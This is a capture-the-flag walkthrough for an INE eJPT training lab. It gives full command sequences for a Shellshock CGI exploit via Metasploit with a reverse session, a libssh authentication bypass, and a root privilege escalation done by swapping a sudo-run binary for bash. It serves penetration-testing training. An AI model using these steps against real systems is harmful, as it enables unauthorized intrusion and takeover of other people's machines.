Attack target1 and target2, from a Shellshock CGI foothold to a sudo binary-hijack privesc.
GUI access to a Kali machine is provided. Two targets: target1.ine.local and target2.ine.local.
/) directory on target1./opt/apache/htdocs/ on target1 — the file's name begins with a dot.target2 (use the libssh_auth_bypass module)./root on target2.FLAG#_<MD5> — submit only the hash, without the prefix or underscore.All work is performed against an authorized INE training lab for eJPT exam preparation.
Scan the target and enumerate the web root. The /cgi-bin/ directory holds executables; browser.cgi is the interesting one:
cat /etc/hosts
nmap -sV -sC -p- -Pn -A target1.ine.local
dirb http://target1.ine.local
Exploit the CGI with the Shellshock module (find your LHOST with ip a):
msfconsole -q
search Shellshock
use 1
show options
set RHOSTS target1.ine.local
set TARGETURI /browser.cgi
set LHOST <your-ip>
run
Once the session opens, read the flag from /:
getuid
sysinfo
cd /
ls
cat flag.txt
cgi-bin RCE module (search Apache cgi-bin) is a viable alternative to the dedicated Shellshock module.List /opt/apache/htdocs/ including dotfiles — the flag lives in a file whose name starts with a dot:
ls -la /opt/apache/htdocs/
cat /opt/apache/htdocs/.flag.txt
Nmap shows SSH running on libssh, which is vulnerable to an authentication bypass. Use the Metasploit module, set SPAWN_PTY, and interact with the session:
nmap -sV -p- -Pn -A target2.ine.local
msfconsole
search libssh_auth_bypass
use 0
set RHOSTS target2.ine.local
set SPAWN_PTY true
run
sessions
sessions -i 1
Read the flag from the user's home directory:
cd /home/user
ls
cat flag.txt
/root contains two binaries: welcome and greetings. welcome runs greetings with elevated (sudo) privileges — a classic hijack. Trace it, then replace greetings with a copy of bash:
cd /root
ls -la
strace ./welcome
rm greetings
cp /bin/bash greetings
./welcome
Running welcome now executes your bash as root. Read the flag:
cd /root
cat flag.txt
| Flag | Target | Technique |
|---|---|---|
| 1 | target1 | Shellshock RCE on browser.cgi → read /flag.txt |
| 2 | target1 | Hidden dotfile in /opt/apache/htdocs/ |
| 3 | target2 | libssh authentication bypass → /home/user |
| 4 | target2 | sudo binary hijack (replace greetings with bash) |
.cgi script under /cgi-bin/ is a prime Shellshock candidate — test it early.-la; flags are often hidden dotfiles.strace reveals it) is a reliable privesc.